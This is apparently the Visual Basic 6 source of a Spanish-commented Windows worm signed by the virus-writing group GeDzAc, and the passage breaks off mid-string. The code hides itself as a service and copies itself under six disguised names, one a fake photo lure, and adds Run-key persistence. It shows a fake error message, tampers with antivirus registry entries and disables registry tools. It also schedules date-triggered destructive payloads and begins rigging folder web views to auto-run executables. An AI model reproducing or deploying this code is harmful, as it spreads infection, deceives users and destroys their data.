VERSION 5.00
Begin VB.Form SystemControl
BorderStyle = 0 'None
Caption = "Form1"
ClientHeight = 450
ClientLeft = 0
ClientTop = 0
ClientWidth = 1305
Icon = "Form1.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
Moveable = 0 'False
ScaleHeight = 450
ScaleWidth = 1305
ShowInTaskbar = 0 'False
StartUpPosition = 3 'Windows Default
Visible = 0 'False
Begin VB.PictureBox Picture1
Height = 495
Left = 120
Picture = "Form1.frx":030A
ScaleHeight = 435
ScaleWidth = 855
TabIndex = 0
Top = 600
Width = 915
End
Begin VB.Timer TimerCruxNET
Interval = 60000
Left = 840
Top = 0
End
Begin VB.Timer TimerBuscaWord
Interval = 5000
Left = 420
Top = 0
End
Begin VB.Timer Timer1
Interval = 1500
Left = 0
Top = 0
End
End
Attribute VB_Name = "SystemControl"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'Permitida su reproducción total o parcial , de cualquier medio o procedimiento y con cualquier propósito o destino
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1
Private m_QR As cQueryReg
Private colKeys() As String
Private szFileName As String * 261
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
Private Sub Form_Initialize()
On Error Resume Next
Dim H As Long
'Registrar proceso como servicio
H = RegisterServiceProcess(GetCurrentProcessId(), RSP_SIMPLE_SERVICE)
End Sub
Private Sub Form_Load()
On Error Resume Next
Call EstablecerVariables
Call CoPiArMe
If App.PrevInstance = True Then End
If Ws.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization") = "GDZ" Then
Call Infectar 'Infectará la segunda vez que se inicie el worm
Else
Ws.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization", "GDZ"
MsgBox "Cannot open file: it does not appear to be a valid archive." + _
vbCrLf & vbCrLf & "If you downloaded this file, try downloading the file again.", 16400, "GeDzAc SoFtWaRe"
End If
'Llamada a las rutinas que desactivan el avs del registro:
Call Retro("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\")
Call Retro("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\")
Call Retro("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\RunServices\")
Call Retro("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Run\")
DoEvents
'Si es el dia es 13, proseguimos
If Day(Now) = 13 Then
If Weekday(Date, vbSunday) = 3 Then 'Si es martes
Call PayloadDestructivo
ElseIf Weekday(Date, vbSunday) = 6 Then 'si es viernes
SavePicture Picture1, DirWin & "\gollum.jpg"
SavePicture Picture1, "C:\gollum.jpg"
End If
End If
DoEvents
'Si el mes es impar, y el dia es 4, llamamos a Payload
If Day(Now) = 4 And Month(Now) Mod 2 <> 0 Then _
Call Payload
End Sub
Private Sub CoPiArMe()
On Error Resume Next
Dim destino As String
Dim RegDestino As String
Dim L As String
Dim i As Integer
Dim Code As String, a As Long, HTT As String
Dim objHTT As TextStream, CodeDesktop As String
Dim objTxTStream As TextStream
For i = 1 To 6 'Iniciamos un contador para copiarnos con 6 nombres distintos
Select Case i
Case 1
destino = "\pctptt.exe"
RegDestino = "CountrySelection"
Case 2
destino = "\ctfmon.exe"
RegDestino = "Ctfmon"
Case 3
destino = "\ptsnoop.exe"
RegDestino = "DiscTemperature"
Case 4
destino = "\MdM.exe"
RegDestino = "Mdm"
Case 5
destino = "\cmmpu.exe"
RegDestino = "SysTemperatureNotRemove"
Case 6
destino = "\Abril Lavigne Nude.jpeg .exe"
RegDestino = "PhotoPaint" ':D
End Select
If Not Fso.FileExists(DirSystem & destino) Then
'Nos copiamos con 6 nombres diferentes
Fso.CopyFile MiNombreEXE, DirSystem & destino, True
DoEvents
'Nos tratamos de protejer de alguna manera:
If Not i = 6 Then
SetAttr DirSystem & destino, vbHidden
SetAttr DirSystem & destino, vbSystem
SetAttr DirSystem & destino, vbReadOnly
End If
End If
'Protejo de posibles eliminaciónes, mientras toy activo:
Open DirSystem & destino For Binary Access Read As FreeFile
DoEvents
'Me pongo en el registro, asi me inicio despues de windows:
Ws.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & RegDestino, DirSystem & destino
Next
'Mi firma
L = Ws.RegRead("HKEY_CLASSES_ROOT\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\InfoTip")
If L <> "Tus Archivos Están a salvo de GEDZAC???" Then
Ws.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\MessengerService\Policies\IMWarning", "WARNING! GeDzAc HaS YoU"
Ws.RegWrite "HKEY_CLASSES_ROOT\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\InfoTip", "Tus Archivos Están a salvo de GEDZAC???" 'Te parece conocida esta frase????
Ws.RegWrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InfoTip", "Estos Documentos le pertenecen a GeDzAc"
Ws.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "(\)emli(Y)"
Ws.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\RegisteredOwner", "(\)emli(Y)"
Ws.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "GDZ"
End If
'Deshabilito el registro
Ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "PWORD"
Ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Policies\System\DisableRegistryTools", 1, "BWORD"
'El siguiente code funciona en W98 y WXP, aunque no lo he probado en otros
'Lo que hace es ejecutar automaticamente un fichero que contenga
'3 espacios seguidos y la extencion .exe
'Solo funciona si la carpeta tiene habilitada ver como pag web
Set objHTT = Fso.OpenTextFile(DirWin & "\Web\Folder.htt", ForReading, True)
HTT = objHTT.ReadAll
objHTT.Close
Code = "" + vbCrLf + _
"" + vbCrLf + "